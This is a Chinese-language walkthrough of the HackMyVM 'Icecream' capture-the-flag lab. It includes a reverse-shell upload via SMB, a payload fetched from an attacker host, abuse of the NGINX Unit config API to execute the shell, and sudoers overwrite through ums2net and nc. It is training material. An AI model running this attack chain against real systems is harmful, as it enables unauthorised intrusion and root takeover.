hackmyvm-Icecream
arp-scan -l

nmap -sS -v 192.168.222.106

enum4linux 192.168.222.106

445端口
smbmap -H 192.168.222.106

icecream为只读模式
smbclient \\192.168.222.106\icecream

反弹shell(上传put php-reverse-shell.php)

开启监听
nc -lnvp 1234

拿到webshell

cat /etc/passwd

9000端口
访问9000端口


这段 JSON 数据看起来是来自
NGINX Unit 的状态页面输出。NGINX Unit 是 NGINX 提供的一种应用程序服务器,旨在支持多种编程语言(如 Python、PHP、Perl、Ruby、Java 等),并允许开发人员直接在其上托管和运行应用程序。该数据表示了当前运行状态和配置。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 'http://192.168.222.106:9000/'
扫到三个目录
开启http服务
python3 -m http.server 9000

切换到tmp目录,上传pspy64
wget http://192.168.222.149:9000/pspy64


运行pspy64
./pspy64


curl http://192.168.222.106:9000/config

curl http://192.168.222.106:9000/config/applications -X PUT -d '{"sb":{"type":"php","root":"/tmp","script":"php-reverse-shell.php"}}'

curl http://192.168.222.106:9000/config

curl http://192.168.222.106:9000/config/routes -X PUT -d '[{"action":{"share":"/tmp/php-reverse-shell.php$uri","fallback":{"pass":"applications/sb"}}}]'

curl http://192.168.222.106:9000/config/listeners -X PUT -d '{"*:8400":{"pass":"routes"}}'


curl http://192.168.222.106:8400/php-reverse-shell.php
nc -lnvp 1234

sudo -l
查看当前用户或指定用户在系统中被授予的 sudo 权限的命令,可以了解用户可以以 root 或其他用户身份运行哪些命令,以及是否需要输入密码。
- sudo -l:查看当前用户的 sudo 权限。
- sudo -l -U username:查看指定用户(username)的 sudo 权限。

User ice may run the following commands on icecream:
(ALL) NOPASSWD: /usr/sbin/ums2net
用户 ice 在主机 icecream 上被授予了以 root 权限运行 /usr/sbin/ums2net 命令的权限,且无需输入密码。
1. 解释
- (ALL):表示用户 ice 可以以任何用户身份(包括 root)运行命令。
- NOPASSWD:表示运行该命令时无需输入密码。
- /usr/sbin/ums2net:这是用户 ice 被允许运行的特定命令。
2. 如何配置的?
这种权限通常通过 /etc/sudoers 文件或 /etc/sudoers.d/ 目录中的配置文件设置。例如,以下行可能存在于配置文件中:
ice ALL=(ALL) NOPASSWD: /usr/sbin/ums2net
3. 检查配置
您可以通过以下命令查看用户 ice 的 sudo 权限:
sudo -l -U ice
提权 root
写一个公钥
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"

cd /root/.ssh

mkdir .ssh
cd .ssh
authorized_keys为kali中id_rsa.pub中的内容
chmod -R 700 .ssh

ssh ice@192.168.222.106

echo '3009 of=/etc/sudoers' > a.conf
sudo /usr/sbin/ums2net -c a.conf -d=c
echo -ne "ice ALL=(ALL) NOPASSWD: ALL \n #"|nc 192.168.222.106 3009 //执行完这个命令之后ctrl+c


sudo -l

sudo su -

